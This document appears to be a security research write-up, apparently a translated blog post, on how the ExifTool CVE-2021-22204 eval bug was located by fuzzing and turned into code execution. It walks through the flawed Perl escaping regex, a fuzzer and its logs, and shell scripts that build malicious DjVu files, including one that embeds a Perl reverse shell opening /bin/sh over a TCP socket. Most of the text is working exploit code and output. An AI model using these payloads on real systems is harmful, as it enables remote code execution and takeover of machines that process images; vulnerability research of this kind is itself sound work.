修正から利用まで：ExifTool で CVE-2021-22204 を利用して任意のコードを実行

$tok =~ # apply search/replace regex to $tok, saving modified version in $tok
 s # search/replace regex
     # syntax: s/match pattern/replace pattern/modifiers
     # (can use {} as pattern delimiters instead of / if we want)
 
 { \\(.) | ( [\$\@] | \\$ ) } # what to match, and capture groups in parentheses (if match, save input found in parentheses)
     # match any single character which is preceded by a '\', saving that character in capture group 1 OR
     # capture the following match in capture group 2:
     #    a '$' character OR
     #    a '@' character OR
     #    a '\' character at the end of the line (or before a trailing newline, thanks Jakub!)
 
 { '\\'.($2 || $1) } # what to replace each match with
     # IF there is a match THEN replace the matching text with
     # a '\' character followed by:
     #    capture group 2 if it exists ($ character, @ character, or '\' at end of line) OR
     #    capture group 1 (any character that was escaped by a '\')
     # (because of the matching regex, one of these must exist)
     
 sge; # modifiers
     # s: treat entire input as single line
     # g: match on any occurrence in input, not just first
     # e: eval the replace string

for (;;) {
    # get string up to the next quotation mark
    # this doesn't work in perl 5.6.2! grrrr
    # last Tok unless $$dataPt =~ /(.*?)"/sg;
    # $tok .= $1;
    my $pos = pos($$dataPt);
    last Tok unless $$dataPt =~ /"/sg;
    $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
    # we're good unless quote was escaped by odd number of backslashes
    last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
    $tok .= '"';    # quote is part of the string
}

$tok = eval qq{"$tok"};

sub just_regex_eval($) {
    my $tok = shift;
    $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
    # convert C escape sequences (allowed in quoted text)
    print("eval: ",join('',("\"",$tok,"\"")), "\n");
    $tok = eval qq{"$tok"};
}
my $tmp = <<'EOF';
";exit(41);"
EOF
just_regex_eval($tmp);
$ perl ./just_regex.pl 
main::ParseAnt() called too early to check prototype at ./just_regex.pl line 24.
eval: "";exit(41);"
"
Useless use of a constant ("") in void context at (eval 34) line 1.
$ echo $?
41

$ perl ./test_regex.pl 
main::ParseAnt() called too early to check prototype at ./test_regex.pl line 24.
eval: ";exit(41);"
XXX token after: ;exit(41);
$ echo $?
0

use strict;
#use warnings; # too much irrelevant output

use Data::Compare;
use Data::Dumper;

sub process_regex($)
{
	my $dataPt = shift;
	#pos($dataPt) = 0;

    return undef unless $$dataPt =~ /(\S)/sg;   # get next non-space character

	#my $tok = $$dataPt;
	my $tok = "";
	for (;;) {
		# get string up to the next quotation mark
		# this doesn't work in perl 5.6.2! grrrr
		# last Tok unless $$dataPt =~ /(.*?)"/sg;
		# $tok .= $1;

		my $pos = pos($$dataPt);
		return undef unless $$dataPt =~ /"/sg;
		$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
		# we're good unless quote was escaped by odd number of backslashes

		last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
		$tok .= '"';    # quote is part of the string
	}

	# XXX: vulnerability here. We can get code execution in this eval
	# must protect unescaped "$" and "@" symbols, and "\" at end of string
	#use re 'debug';
	$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
	#no re 'debug';
	# convert C escape sequences (allowed in quoted text)
	#print("eval: ",join('',("\"",$tok,"\"")), "\n");
	$tok = eval qq{"$tok"};
	print("[CRASH] error: ", @_) if @_; # Actually I misread documentation; should have used $@. Oops!

	return $tok;
}

# uniform random byte
sub rand_byte() {
	my $byte = int(rand(256));
	return chr($byte); # convert from int to character (byte)
}

# get a valid printable ASCII character (0x20-0x7e)
sub rand_ascii() {
	my $val = int(rand(0x7e - 0x20) + 0x20);
	return chr($val);
}

# Inputs:
# 0) length of request in bytes. May be larger due to escapes.
# 1) give raw bytes. If true, just throw bytes at us. If false, stick to printable ASCII
sub generate_string($$)
{
	my ($length, $raw_bytes) = @_;
	my $res = "";

	for (my $i=0; $i < $length; $i++) {
		if ($raw_bytes) {
			# actually let's just be dumb and only do bytes and see what happens
			# 1/4 chance of escaping this byte, just because that's 'interesting'
			if (int(rand(4)) == 0) {
				$res .= "\\";
			}
			$res .= rand_byte();
		} else {
			# printable ASCII
			my $v = rand_ascii();
			if(int(rand(4)) == 0) {
				# randomly escape some characters
				$res .= "\\";
			}
			if (int(rand(8)) == 0) {
				# randomly double some characters
				$res .= $v;
			}
			$res .= $v;
		}
	}
	
	return $res;
}

sub fuzz() {
	# the plain regex, without any handling of quotes, is exploitable by this: "\";print('asdf');\"";

	my $print_inputs = 0;

	# will execute in the easier version without quote handling, if wrap with "
	my $input = <<'HERE';
;exit(42);;
HERE
	$input =~ s/\s+$//;

	# idea: put random things before/after a `print('asdf')` and check output for 'asdf'
	# If we see it, we know we hit gold!

	$| = 1; # set stdout to autoflush (output properly synchronized with stderr)
	my $seed = srand(3587231692); # got execution with 3587231692 after ~1 hr
	print("[FUZZER] fuzzing with seed $seed\n");
	my $last_i = 0;
	my $last_timestamp = time();
	my $timestamp_start = $last_timestamp;


	# b >= a
	my $execspeed_a = 0;
	my $execspeed_b = 0;
	my $execspeed = 0;
	for (my $i = 0;; $i++) {
		# XXX generate input here!
		my $pre = generate_string(int(rand(6)), undef);
		my $post = generate_string(int(rand(6)), undef);

		my $data = join('',($pre, $input,$post));
		$data = join('',("\"",$data,"\"")); # only with extra " handling

		if ($i - $last_i >= 1000) {
			my $timestamp = time();
			if ($timestamp > $last_timestamp) {
				$execspeed_a = $execspeed_b;
				$execspeed_b = $i;
				$execspeed = $execspeed_b - $execspeed_a;
				$last_timestamp = $timestamp;
				print("[FUZZER] heartbeat $timestamp: ~$execspeed exec/s\n");

				# don't print a massive file until we're just about to strike gold
				if ($timestamp - $timestamp_start >= 4270) {
					$print_inputs = 1;
				}
			}
			$last_i = $i;
		}

		# XXX call vulnerable code here!
		#print("[FUZZER] input: $data\n");
		# let's try differential testing
		print(join('',("trying input: ", $data, "\n"))) if $print_inputs;
		my $res = process_regex(\$data);
	}
}

fuzz();

$ perl ./fuzz_light.pl &> fuzz_log.txt
$ echo $?
42

...
[FUZZER] heartbeat 1620435137: ~76000 exec/s
Variable "@a" is not imported at (eval 956645) line 1.
[FUZZER] heartbeat 1620435138: ~77000 exec/s
...
trying input: "\R\c\@y;exit(42);;2"
Variable "@y" is not imported at (eval 334017354) line 1.

$ cat my_poc.sh 
#!/bin/bash
# let's use jakub's technique to build the file, but use \c
printf 'P1 1 1 0' > mine.pbm
cjb2 mine.pbm mine.djvu
# fuzzer find: "\%2\c${;exit(42);;*\}C]"
printf 'ANTa\0\0\0\40(xmp "\c${exit(42)};#          "' >> mine.djvu
echo "created malicious mine.djvu"

$ perl exiftool/exiftool mine.djvu &> /dev/null
$ echo $?
42

#!/bin/bash
printf 'P1 1 1 0' > revshell.pbm
cjb2 revshell.pbm revshell.djvu
printf 'ANTa\0\0\0\xd3' >> revshell.djvu
cat <<'EOF' >> revshell.djvu
(xmp "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(1337,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#"
EOF
echo "created malicious revshell.djvu"